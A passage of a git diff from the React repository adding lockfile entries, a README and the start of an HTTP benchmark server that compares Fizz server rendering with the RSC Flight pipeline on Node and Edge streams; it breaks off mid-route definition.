+    forwarded "0.2.0"
+    ipaddr.js "1.9.1"
+
+qs@6.13.0:
+  version "6.13.0"
+  resolved "https://registry.yarnpkg.com/qs/-/qs-6.13.0.tgz#6ca3bd58439f7e245655798997787b0d88a51906"
+  integrity sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==
+  dependencies:
+    side-channel "^1.0.6"
+
+range-parser@~1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.1.tgz#3cf37023d199e1c24d1a55b84800c2f3e6468031"
+  integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==
+
+raw-body@2.5.2:
+  version "2.5.2"
+  resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.5.2.tgz#99febd83b90e08975087e8f1f9419a149366b68a"
+  integrity sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==
+  dependencies:
+    bytes "3.1.2"
+    http-errors "2.0.0"
+    iconv-lite "0.4.24"
+    unpipe "1.0.0"
+
+"react-dom@^18 || ^19":
+  version "19.0.0"
+  resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-19.0.0.tgz#43446f1f01c65a4cd7f7588083e686a6726cfb57"
+  integrity sha512-4GV5sHFG0e/0AD4X+ySy6UJd3jVl1iNsNHdpad0qhABJ11twS3TTBnseqsKurKcsNqCEFeGL3uLpVChpIO3QfQ==
+  dependencies:
+    scheduler "^0.25.0"
+
+react-dom@experimental:
+  version "0.0.0-experimental-79ddf5b5-20241210"
+  resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-0.0.0-experimental-79ddf5b5-20241210.tgz#c140f191e7a88be5d4c38d34f7cf1dbf38a9a71d"
+  integrity sha512-bAB3yL0kntJWIC01+WprH/XAp7KATXSZ0kc6lUN9A1jMMDYTDOBmN0ghCMnDe/5lalJJouqGAmRd5bkji9HqwQ==
+  dependencies:
+    scheduler "0.0.0-experimental-79ddf5b5-20241210"
+
+"react-refresh@>=0.9 <=0.16":
+  version "0.16.0"
+  resolved "https://registry.yarnpkg.com/react-refresh/-/react-refresh-0.16.0.tgz#e7d45625f05c9709466d09348a25d22f79b2ad23"
+  integrity sha512-FPvF2XxTSikpJxcr+bHut2H4gJ17+18Uy20D5/F+SKzFap62R3cM5wH6b8WN3LyGSYeQilLEcJcR1fjBSI2S1A==
+
+react-server-dom-parcel@experimental:
+  version "0.0.1"
+  resolved "https://registry.yarnpkg.com/react-server-dom-parcel/-/react-server-dom-parcel-0.0.1.tgz#2653c2b39a857fbd17770d27d6f08bd139803f09"
+  integrity sha512-f93wv8gycm4ltcQRqpSlgYyT6cJxmjJdRmXw3deQoXowDlP44W4RRzwHQ70u1xseCpHFIORmuHVXk7+Fk8RFtQ==
+
+"react@^18 || ^19":
+  version "19.0.0"
+  resolved "https://registry.yarnpkg.com/react/-/react-19.0.0.tgz#6e1969251b9f108870aa4bff37a0ce9ddfaaabdd"
+  integrity sha512-V8AVnmPIICiWpGfm6GLzCR/W5FXLchHop40W4nXBmdlEceh16rCN8O8LNWm5bh5XUX91fh7KpA+W0TgMKmgTpQ==
+
+react@experimental:
+  version "0.0.0-experimental-79ddf5b5-20241210"
+  resolved "https://registry.yarnpkg.com/react/-/react-0.0.0-experimental-79ddf5b5-20241210.tgz#d1c620a36dfa02337f69c4eaeee230fec6742b72"
+  integrity sha512-+e7TiHmfdCEzR942m4ukOBf/4jd41Mc8M/ExOGYT7LtbrXCX/HCw9RqffaYZXdMd3+QD/nBzx9f/DTDLzP8FLA==
+
+regenerator-runtime@^0.14.0, regenerator-runtime@^0.14.1:
+  version "0.14.1"
+  resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz#356ade10263f685dda125100cd862c1db895327f"
+  integrity sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==
+
+require-directory@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42"
+  integrity sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==
+
+resolve-from@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6"
+  integrity sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==
+
+rsc-html-stream@^0.0.4:
+  version "0.0.4"
+  resolved "https://registry.yarnpkg.com/rsc-html-stream/-/rsc-html-stream-0.0.4.tgz#0ae70518eeac305852533b9ad60aefacce72ed95"
+  integrity sha512-1isiXIrlTI/vRLTvS3O4fMrO9qIHje1FSphufrIV5QfzHUgBDCZFwP9b8+rH63nbhxtcKTqfyziwM+2khfX0Uw==
+
+rxjs@^7.0.0:
+  version "7.8.1"
+  resolved "https://registry.yarnpkg.com/rxjs/-/rxjs-7.8.1.tgz#6f6f3d99ea8044291efd92e7c7fcf562c4057543"
+  integrity sha512-AA3TVj+0A2iuIoQkWEK/tqFjBq2j+6PO6Y0zJcvzLAFhEFIO3HL0vls9hWLncZbAAbK0mar7oZ4V079I/qPMxg==
+  dependencies:
+    tslib "^2.1.0"
+
+safe-buffer@5.2.1, safe-buffer@^5.0.1:
+  version "5.2.1"
+  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
+  integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
+
+"safer-buffer@>= 2.1.2 < 3":
+  version "2.1.2"
+  resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
+  integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
+
+scheduler@0.0.0-experimental-79ddf5b5-20241210:
+  version "0.0.0-experimental-79ddf5b5-20241210"
+  resolved "https://registry.yarnpkg.com/scheduler/-/scheduler-0.0.0-experimental-79ddf5b5-20241210.tgz#2b6c17201831aa8f8e35e65ad95c7cf5362b5454"
+  integrity sha512-Rg1aDzPQWVLENsVBlZbIS1buG55XTCEN7tOz0qk+pCnhswwa7h0VzGFVmX8CLuWnTYQYWw9ldFrjKLDM1Q1k3g==
+
+scheduler@^0.25.0:
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/scheduler/-/scheduler-0.25.0.tgz#336cd9768e8cceebf52d3c80e3dcf5de23e7e015"
+  integrity sha512-xFVuu11jh+xcO7JOAGJNOXld8/TcEHK/4CituBUeUb5hqxJLj9YuemAEuvm9gQ/+pgXYfbQuqAkiYu+u7YEsNA==
+
+semver@^7.5.2:
+  version "7.6.3"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-7.6.3.tgz#980f7b5550bc175fb4dc09403085627f9eb33143"
+  integrity sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==
+
+send@0.19.0:
+  version "0.19.0"
+  resolved "https://registry.yarnpkg.com/send/-/send-0.19.0.tgz#bbc5a388c8ea6c048967049dbeac0e4a3f09d7f8"
+  integrity sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==
+  dependencies:
+    debug "2.6.9"
+    depd "2.0.0"
+    destroy "1.2.0"
+    encodeurl "~1.0.2"
+    escape-html "~1.0.3"
+    etag "~1.8.1"
+    fresh "0.5.2"
+    http-errors "2.0.0"
+    mime "1.6.0"
+    ms "2.1.3"
+    on-finished "2.4.1"
+    range-parser "~1.2.1"
+    statuses "2.0.1"
+
+serve-static@1.16.2:
+  version "1.16.2"
+  resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.16.2.tgz#b6a5343da47f6bdd2673848bf45754941e803296"
+  integrity sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==
+  dependencies:
+    encodeurl "~2.0.0"
+    escape-html "~1.0.3"
+    parseurl "~1.3.3"
+    send "0.19.0"
+
+set-function-length@^1.2.2:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/set-function-length/-/set-function-length-1.2.2.tgz#aac72314198eaed975cf77b2c3b6b880695e5449"
+  integrity sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==
+  dependencies:
+    define-data-property "^1.1.4"
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+    get-intrinsic "^1.2.4"
+    gopd "^1.0.1"
+    has-property-descriptors "^1.0.2"
+
+setprototypeof@1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.2.0.tgz#66c9a24a73f9fc28cbe66b09fed3d33dcaf1b424"
+  integrity sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==
+
+shell-quote@^1.7.3:
+  version "1.8.2"
+  resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.8.2.tgz#d2d83e057959d53ec261311e9e9b8f51dcb2934a"
+  integrity sha512-AzqKpGKjrj7EM6rKVQEPpB288oCfnrEIuyoT9cyF4nmGa7V8Zk6f7RRqYisX8X9m+Q7bd632aZW4ky7EhbQztA==
+
+side-channel-list@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/side-channel-list/-/side-channel-list-1.0.0.tgz#10cb5984263115d3b7a0e336591e290a830af8ad"
+  integrity sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==
+  dependencies:
+    es-errors "^1.3.0"
+    object-inspect "^1.13.3"
+
+side-channel-map@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/side-channel-map/-/side-channel-map-1.0.1.tgz#d6bb6b37902c6fef5174e5f533fab4c732a26f42"
+  integrity sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.5"
+    object-inspect "^1.13.3"
+
+side-channel-weakmap@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz#11dda19d5368e40ce9ec2bdc1fb0ecbc0790ecea"
+  integrity sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.5"
+    object-inspect "^1.13.3"
+    side-channel-map "^1.0.1"
+
+side-channel@^1.0.6:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.1.0.tgz#c3fcff9c4da932784873335ec9765fa94ff66bc9"
+  integrity sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==
+  dependencies:
+    es-errors "^1.3.0"
+    object-inspect "^1.13.3"
+    side-channel-list "^1.0.0"
+    side-channel-map "^1.0.1"
+    side-channel-weakmap "^1.0.2"
+
+spawn-command@^0.0.2-1:
+  version "0.0.2"
+  resolved "https://registry.yarnpkg.com/spawn-command/-/spawn-command-0.0.2.tgz#9544e1a43ca045f8531aac1a48cb29bdae62338e"
+  integrity sha512-zC8zGoGkmc8J9ndvml8Xksr1Amk9qBujgbF0JAIWO7kXr43w0h/0GJNM/Vustixu+YE8N/MTrQ7N31FvHUACxQ==
+
+srcset@4:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/srcset/-/srcset-4.0.0.tgz#336816b665b14cd013ba545b6fe62357f86e65f4"
+  integrity sha512-wvLeHgcVHKO8Sc/H/5lkGreJQVeYMm9rlmt8PuR1xE31rIuXhuzznUUqAt8MqLhB3MqJdFzlNAfpcWnxiFUcPw==
+
+statuses@2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/statuses/-/statuses-2.0.1.tgz#55cb000ccf1d48728bd23c685a063998cf1a1b63"
+  integrity sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==
+
+string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3:
+  version "4.2.3"
+  resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
+  integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
+  dependencies:
+    emoji-regex "^8.0.0"
+    is-fullwidth-code-point "^3.0.0"
+    strip-ansi "^6.0.1"
+
+strip-ansi@^6.0.0, strip-ansi@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9"
+  integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
+  dependencies:
+    ansi-regex "^5.0.1"
+
+supports-color@^7.1.0:
+  version "7.2.0"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da"
+  integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==
+  dependencies:
+    has-flag "^4.0.0"
+
+supports-color@^8.1.0:
+  version "8.1.1"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-8.1.1.tgz#cd6fc17e28500cff56c1b86c0a7fd4a54a73005c"
+  integrity sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==
+  dependencies:
+    has-flag "^4.0.0"
+
+term-size@^2.2.1:
+  version "2.2.1"
+  resolved "https://registry.yarnpkg.com/term-size/-/term-size-2.2.1.tgz#2a6a54840432c2fb6320fea0f415531e90189f54"
+  integrity sha512-wK0Ri4fOGjv/XPy8SBHZChl8CM7uMc5VML7SqiQ0zG7+J5Vr+RMQDoHa2CNT6KHUnTGIXH34UDMkPzAUyapBZg==
+
+timsort@^0.3.0:
+  version "0.3.0"
+  resolved "https://registry.yarnpkg.com/timsort/-/timsort-0.3.0.tgz#405411a8e7e6339fe64db9a234de11dc31e02bd4"
+  integrity sha512-qsdtZH+vMoCARQtyod4imc2nIJwg9Cc7lPRrw9CzF8ZKR0khdr8+2nX80PBhET3tcyTtJDxAffGh2rXH4tyU8A==
+
+to-regex-range@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-5.0.1.tgz#1648c44aae7c8d988a326018ed72f5b4dd0392e4"
+  integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==
+  dependencies:
+    is-number "^7.0.0"
+
+toidentifier@1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/toidentifier/-/toidentifier-1.0.1.tgz#3be34321a88a820ed1bd80dfaa33e479fbb8dd35"
+  integrity sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==
+
+tree-kill@^1.2.2:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/tree-kill/-/tree-kill-1.2.2.tgz#4ca09a9092c88b73a7cdc5e8a01b507b0790a0cc"
+  integrity sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==
+
+tslib@^2.1.0, tslib@^2.8.0:
+  version "2.8.1"
+  resolved "https://registry.yarnpkg.com/tslib/-/tslib-2.8.1.tgz#612efe4ed235d567e8aba5f2a5fab70280ade83f"
+  integrity sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==
+
+type-fest@^0.20.2:
+  version "0.20.2"
+  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.20.2.tgz#1bf207f4b28f91583666cb5fbd327887301cd5f4"
+  integrity sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==
+
+type-is@~1.6.18:
+  version "1.6.18"
+  resolved "https://registry.yarnpkg.com/type-is/-/type-is-1.6.18.tgz#4e552cd05df09467dcbc4ef739de89f2cf37c131"
+  integrity sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==
+  dependencies:
+    media-typer "0.3.0"
+    mime-types "~2.1.24"
+
+undici-types@~6.20.0:
+  version "6.20.0"
+  resolved "https://registry.yarnpkg.com/undici-types/-/undici-types-6.20.0.tgz#8171bf22c1f588d1554d55bf204bc624af388433"
+  integrity sha512-Ny6QZ2Nju20vw1SRHe3d9jVu6gJ+4e3+MMpqu7pqE5HT6WsTSlce++GQmK5UXS8mzV8DSYHrQH+Xrf2jVcuKNg==
+
+unpipe@1.0.0, unpipe@~1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec"
+  integrity sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==
+
+update-browserslist-db@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.1.1.tgz#80846fba1d79e82547fb661f8d141e0945755fe5"
+  integrity sha512-R8UzCaa9Az+38REPiJ1tXlImTJXlVfgHZsglwBD/k6nj76ctsH1E3q4doGrukiLQd3sGQYu56r5+lo5r94l29A==
+  dependencies:
+    escalade "^3.2.0"
+    picocolors "^1.1.0"
+
+utility-types@^3.10.0:
+  version "3.11.0"
+  resolved "https://registry.yarnpkg.com/utility-types/-/utility-types-3.11.0.tgz#607c40edb4f258915e901ea7995607fdf319424c"
+  integrity sha512-6Z7Ma2aVEWisaL6TvBCy7P8rm2LQoPv6dJ7ecIaIixHcwfbJ0x7mWdbcwlIM5IGQxPZSFYeqRCqlOOeKoJYMkw==
+
+utils-merge@1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/utils-merge/-/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713"
+  integrity sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==
+
+vary@~1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/vary/-/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc"
+  integrity sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==
+
+weak-lru-cache@^1.2.2:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/weak-lru-cache/-/weak-lru-cache-1.2.2.tgz#fdbb6741f36bae9540d12f480ce8254060dccd19"
+  integrity sha512-DEAoo25RfSYMuTGc9vPJzZcZullwIqRDSI9LOy+fkCJPi6hykCnfKaXTuPBDuXAUcqHXyOgFtHNp/kB2FjYHbw==
+
+wrap-ansi@^7.0.0:
+  version "7.0.0"
+  resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43"
+  integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
+  dependencies:
+    ansi-styles "^4.0.0"
+    string-width "^4.1.0"
+    strip-ansi "^6.0.0"
+
+y18n@^5.0.5:
+  version "5.0.8"
+  resolved "https://registry.yarnpkg.com/y18n/-/y18n-5.0.8.tgz#7f4934d0f7ca8c56f95314939ddcd2dd91ce1d55"
+  integrity sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==
+
+yargs-parser@^21.1.1:
+  version "21.1.1"
+  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-21.1.1.tgz#9096bceebf990d21bb31fa9516e0ede294a77d35"
+  integrity sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==
+
+yargs@^17.3.1:
+  version "17.7.2"
+  resolved "https://registry.yarnpkg.com/yargs/-/yargs-17.7.2.tgz#991df39aca675a192b816e1e0363f9d75d2aa269"
+  integrity sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==
+  dependencies:
+    cliui "^8.0.1"
+    escalade "^3.1.1"
+    get-caller-file "^2.0.5"
+    require-directory "^2.1.1"
+    string-width "^4.2.3"
+    y18n "^5.0.5"
+    yargs-parser "^21.1.1"
diff --git a/fixtures/flight-ssr-bench/README.md b/fixtures/flight-ssr-bench/README.md
new file mode 100644
index 000000000000..98cefe6ba7de
--- /dev/null
+++ b/fixtures/flight-ssr-bench/README.md
@@ -0,0 +1,62 @@
+# Flight SSR Benchmark
+
+Measures the performance overhead of the React Server Components (RSC) Flight pipeline compared to plain Fizz server-side rendering, across both Node and Edge (web streams) APIs.
+
+## Prerequisites
+
+Build React from the repo root first:
+
+```sh
+yarn build-for-flight-prod
+```
+
+Then install the fixture's dependencies:
+
+```sh
+cd fixtures/flight-ssr-bench
+yarn install
+```
+
+## Scripts
+
+| Script | Purpose |
+| --- | --- |
+| `yarn bench` | Sequential benchmark with Flight script injection (realistic framework pipeline). Best for measuring Edge vs Node overhead. |
+| `yarn bench:bare` | Sequential benchmark without script injection. Best for measuring React-internal changes (e.g. Flight serialization optimizations) with less noise from stream plumbing. |
+| `yarn bench:server` | HTTP server benchmark using autocannon at c=1 and c=10. Best for measuring real-world req/s. The c=1 results are also useful for tracking React-internal changes. |
+| `yarn bench:concurrent` | In-process concurrent benchmark (50 in-flight renders). Measures throughput under load without HTTP overhead. |
+| `yarn bench:profile` | CPU profiling via V8 inspector. Saves `.cpuprofile` files to `build/profiles/`. |
+| `yarn start` | Starts the HTTP server for manual browser testing at `http://localhost:3001`. Append `.rsc` to any Flight URL to see the raw Flight payload. |
+
+## What it measures
+
+Each script benchmarks 8 render variants:
+
+- **Fizz (Node, sync/async)** -- plain `renderToPipeableStream`, no RSC
+- **Fizz (Edge, sync/async)** -- plain `renderToReadableStream`, no RSC
+- **Flight + Fizz (Node, sync/async)** -- full RSC pipeline: Flight server (`renderToPipeableStream`) -> Flight client (`createFromNodeStream`) -> Fizz (`renderToPipeableStream`)
+- **Flight + Fizz (Edge, sync/async)** -- full RSC pipeline: Flight server (`renderToReadableStream`) -> Flight client (`createFromReadableStream`) -> Fizz (`renderToReadableStream`)
+
+The "sync" variants use a fully synchronous app (no Suspense boundaries). The "async" variants use per-row async components with staggered delays and individual Suspense boundaries (~250 boundaries per render).
+
+### Script injection
+
+The `yarn bench` and `yarn bench:server` scripts simulate what real frameworks do: tee the Flight stream and inject `<script>` hydration tags into the HTML output. This uses a `setTimeout(0)`-buffered Transform/TransformStream to avoid splitting mid-HTML-tag. `yarn bench:bare` skips this for cleaner React-internal measurement.
+
+## Test app
+
+A dashboard with ~25 components (16 client components), rendering:
+
+- 200 product rows with nested reviews, specifications, and supplier data (~325KB Flight payload)
+- 50 activity feed items
+- Stats grid with 24-month chart data
+- Sidebar with navigation and recent activity
+
+## Output
+
+The overhead tables show two comparisons:
+
+1. **Flight overhead** -- Flight+Fizz vs Fizz-only (how much RSC adds)
+2. **Edge vs Node** -- web streams vs Node streams (stream implementation cost)
+
+Delta is shown as percentage change plus a factor (e.g. `+120% 2.20x` means 2.2x slower).
diff --git a/fixtures/flight-ssr-bench/bench-server.js b/fixtures/flight-ssr-bench/bench-server.js
new file mode 100644
index 000000000000..5c76926e99e6
--- /dev/null
+++ b/fixtures/flight-ssr-bench/bench-server.js
@@ -0,0 +1,350 @@
+'use strict';
+
+require('@babel/register')({
+  presets: [['@babel/preset-react', {runtime: 'automatic'}]],
+  plugins: ['@babel/plugin-transform-modules-commonjs'],
+  only: [/\/src\//],
+});
+
+const http = require('http');
+const {Readable} = require('stream');
+const webpack = require('webpack');
+
+const {clientManifest, ssrManifest} = require('./webpack-mock');
+const {
+  renderFizzNode,
+  renderFizzEdge,
+  renderFlightFizzNode,
+  renderFlightFizzEdge,
+} = require('./render-helpers');
+const {printGrid} = require('./print-helpers');
+
+// ---------------------------------------------------------------------------
+// Build
+// ---------------------------------------------------------------------------
+
+function build() {
+  const config = require('./webpack.config');
+  return new Promise(function (resolve, reject) {
+    webpack(config, function (err, stats) {
+      if (err) {
+        reject(err);
+        return;
+      }
+      if (stats.hasErrors()) {
+        reject(new Error(stats.toString({errors: true})));
+        return;
+      }
+      console.log(
+        stats.toString({colors: true, modules: false, entrypoints: false})
+      );
+      resolve();
+    });
+  });
+}
+
+// ---------------------------------------------------------------------------
+// Server
+// ---------------------------------------------------------------------------
+
+const ITEM_COUNT = 200;
+const PORT = 3001;
+
+async function main() {
+  console.log('Building RSC bundle...\n');
+  await build();
+
+  const {
+    renderRSCNode,
+    renderRSCEdge,
+    App: RSCApp,
+    AppAsync: RSCAppAsync,
+  } = require('./build/rsc-bundle.js');
+  const App = require('./src/App.js').default;
+  const AppAsync = require('./src/AppAsync.js').default;
+
+  function pipeStreamToRes(stream, res) {
+    if (typeof stream.pipe === 'function') {
+      // Node Readable stream
+      stream.pipe(res);
+    } else {
+      // Web ReadableStream — convert to Node stream for HTTP response
+      Readable.fromWeb(stream).pipe(res);
+    }
+  }
+
+  function pipeToRes(streamOrPromise, res) {
+    if (typeof streamOrPromise.then === 'function') {
+      streamOrPromise.then(
+        function (stream) {
+          pipeStreamToRes(stream, res);
+        },
+        function (err) {
+          console.error(err);
+          if (!res.headersSent) res.writeHead(500);
+          res.end();
+        }
+      );
+    } else {
+      pipeStreamToRes(streamOrPromise, res);
+    }
+  }
+
+  const routes = {
+    '/fizz-node-sync': function (res) {
+      pipeToRes(renderFizzNode(App, ITEM_COUNT), res);
+    },
+    '/fizz-node-async': function (res) {
+      pipeToRes(renderFizzNode(AppAsync, ITEM_COUNT), res);
+    },
+    '/fizz-edge-sync': function (res) {
+      pipeToRes(renderFizzEdge(App, ITEM_COUNT), res);
+    },
+    '/fizz-edge-async': function (res) {
+      pipeToRes(renderFizzEdge(AppAsync, ITEM_COUNT), res);
+    },
+    '/flight-node-sync': function (res) {
+      pipeToRes(
+        renderFlightFizzNode(
+          renderRSCNode,
+          RSCApp,
+          ITEM_COUNT,
+          clientManifest,
+          ssrManifest
+        ),
+        res
+      );
+    },
+    '/flight-node-sync.rsc': function (res) {
+      pipeStreamToRes(renderRSCNode(clientManifest, RSCApp, ITEM_COUNT), res);
+    },
+    '/flight-node-async': function (res) {
+      pipeToRes(
+        renderFlightFizzNode(
+          renderRSCNode,
+          RSCAppAsync,
+          ITEM_COUNT,
+          clientManifest,
+          ssrManifest
+        ),
+        res
+      );
+    },
+    '/flight-node-async.rsc': function (res) {
+      pipeStreamToRes(
